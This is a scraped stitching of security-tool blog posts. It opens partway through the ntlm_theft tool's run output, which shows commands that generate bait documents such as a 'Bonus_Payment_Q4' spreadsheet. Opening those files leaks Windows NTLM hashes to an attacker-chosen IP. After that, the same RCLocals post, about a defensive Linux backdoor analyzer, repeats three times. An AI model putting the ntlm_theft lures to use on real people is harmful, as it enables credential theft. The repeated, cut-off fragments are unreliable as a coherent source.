d: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.
https://1.bp.blogspot.com/-3SdSBas-cdk/YUgl_b7bp-I/AAAAAAAAK5g/gX1iJ7TINFYS4lH29tKjHGtrJFtdv2WUACLcBGAsYHQ/s1538/7.png
Here is an example of what a run looks like generating only modern files:

#python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.

Here is an example of what a run looks like generating only a xlsx file:

#python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete. Download

Inspired by 'Autoruns' from Sysinternals, RCLocals analyzes all Linux (https://www.kitploit.com/search/label/Linux) startup possibilities to find backdoors, also performs process integrity verification, scan (https://www.kitploit.com/search/label/Scan) for DLL (https://www.kitploit.com/search/label/DLL) injected processes and much more
Things covered: ·List GPG keys trusted by the system ·Installed Packages ·File integrity ·Process integrity (process and libraries loaded in a process that not belongs to any installed package) ·Processes with name spoofed (processes that use prctl() to change their name in /bin/ps) ·CRON entries ·RC files ·X system startup files ·Active Systemd Units ·Systemd Timer Units ·tmpfiles.d ·linger users USAGE For only suspicious information: #python3 rclocals.py --triage For detailed information: #python3 rclocals.py --all Screenshots

___________________________
@hacking_Attack
@Hacking_Video

RCLocals - Linux Startup Analyzer

Inspired by 'Autoruns' from Sysinternals, RCLocals analyzes all Linux startup possibilities to find backdoors, also performs process integrity verification, scan for DLL injected processes and much more Things covered: ·List GPG keys trusted by the system ·Installed Packages ·File integrity ·Process integrity (process and libraries loaded in a process that not belongs to any installed package) ·Processes with name spoofed (processes that use prctl() to change their name in /bin/ps) ·CRON entries ·RC files ·X system startup files ·Active Systemd Units ·Systemd Timer Units ·tmpfiles.d ·linger users USAGE For only suspicious information: #python3 rclocals.py --triage For detailed information: #python3 rclocals.py --all Screenshots Download RCLocals
Read more...

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
RCLocals - Linux Startup Analyzer

http://1.bp.blogspot.com/-pZ6n3FAVAyc/Ydg4ky5vksI/AAAAAAAA7ns/ARr2StWdejMHCshLORn4Cninhe_zn8rGACK4BGAYYCw/w640-h242/RCLocals_1_1-710961.jpeg
Inspired by 'Autoruns' from Sysinternals, RCLocals analyzes all Linux startup possibilities to find backdoors, also performs process integrity verification, scan for DLL injected processes and much more
Things covered:

·List GPG keys trusted by the system

·Installed Packages

·File integrity

·Process integrity (process and libraries loaded in a process that not belongs to any installed package)

·Processes with name spoofed (processes that use prctl() to change their name in /bin/ps)

·CRON entries

·RC files

·X system startup files

·Active Systemd Units

·Systemd Timer Units

·tmpfiles.d

·linger users

USAGE

For only suspicious information:

#python3 rclocals.py --triage

For detailed information:

#python3 rclocals.py --all

Screenshots

http://1.bp.blogspot.com/-pZ6n3FAVAyc/Ydg4ky5vksI/AAAAAAAA7ns/ARr2StWdejMHCshLORn4Cninhe_zn8rGACK4BGAYYCw/w640-h242/RCLocals_1_1-710961.jpeg

http://2.bp.blogspot.com/-9lIuUc6YfWQ/Ydg4lLf_5CI/AAAAAAAA7n0/bHhQJT0iefQz-42CDVCiFGDaJ147vggGgCK4BGAYYCw/w640-h576/RCLocals_2_2-712209.png

http://1.bp.blogspot.com/-_QyTqgOjcbA/Ydg4lSsB8DI/AAAAAAAA7n8/V1YsW7krWvEQpowzApJ1yFa5A0Yo91QPgCK4BGAYYCw/w640-h356/RCLocals_3_3-713220.png

http://3.bp.blogspot.com/-E1JXfSQ7768/Ydg4lnWy1yI/AAAAAAAA7oE/N3GRJ2rpn9IbQKDFBJ15CFaS_g08ntBiQCK4BGAYYCw/w528-h640/RCLocals_4_4-714244.png
Download RCLocals

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
RCLocals : Linux Startup Analyzer

RCLocals is inspired by ‘Autoruns’ from Sysinternals, RCLocals analyzes all Linux startup possibilities to find backdoors, also performs process integrity verification, scan for DLL injected processes and much more

Things covered:

·List GPG keys trusted by the system

·Installed Packages

·File integrity

·Process integrity (process and libraries loaded in a process that not belongs to any installed package)

·Processes with name spoofed (processes that use prctl() to change their name in /bin/ps)

·CRON entries

·RC files

·X system startup files

·Active Systemd Units

·Systemd Timer Units

·tmpfiles.d

·linger users

USAGE

For only suspicious information:

#python3 rclocals.py –triage

For detailed information:

#python3 rclocals.py –all

Screenshots
https://blogger.googleusercontent.com/img/a/AVvXsEjPZUCVm8pY4O0aS5J-HPMyjbQ-_A5fBQzhhEXIDvO39AMVFAljMfFJ6pX4Vui7-PaNm0fNYUqyZ5jBeOYc3npEuNHOO8Lte2kEWaDoLYz-fTJITSVbtCkFMcTcdVEjo8K8ZFgQmi4ytBFGRd5hYw28K1maZl3EZpIr0pFpvs6FojpkxYq9TjgPrv5_=s1486 https://blogger.googleusercontent.com/img/a/AVvXsEhU4ItO1BiOd0K5nU9cmjosgHZp0HaajXSSYzlTKYtQ1mBuEsILTLG28MJZhmCzYAAak04rBJgfzImfXGjol4kgeeRCySQrZItFAYD7HOtE83pbU19vHPFk0VN7s_Ttr8dYv3ovsziiE_ou94izvsuaJD9rLg8EdcZFO3icto_ZMDMjgQ8U7Su5azRo=s567 https://blogger.googleusercontent.com/img/a/AVvXsEhV6Md_3cbf2I_V37WedYjtUyg8WVNZHxvJbBe6lY2kegmbGBrjwJtim_diTfNAvcBFHfiSfzDH7ht-AIHrSCDQlNkyvTE5t9MXwwCFd6DS0XCSWfXT-6dbbqN60u2CIK7n-tG1dYtBBAQy1Y5S-bVO15agc3umXD5V1vKR8cTYEYCtUlTVkPhUNzK8=s648 https://blogger.googleusercontent.com/img/a/AVvXsEjM7BtXy1SWST1VPmttpTY79fTy1tAS-UEEHFN2jr9RAglKWjXgMixwthMzZJkPe0K-9iDzxx6_sre4gF0bbzbi3G_hl3CmTxpMy3LXC-JztIHb7onlm1lXL_XaI_fHy7dDVWMMH0zdmYqA-k0qFsXvbLHYIspqk8izcvLfQRp5yRM6knX1wAq-rtFB=s840

Download

Hacking on Medium
Python3: argparse quickie

Building on our last demo using the #python3 built-in: set(), we’ll add command line arguments to optionally save the results to a text…

Continue reading on Medium »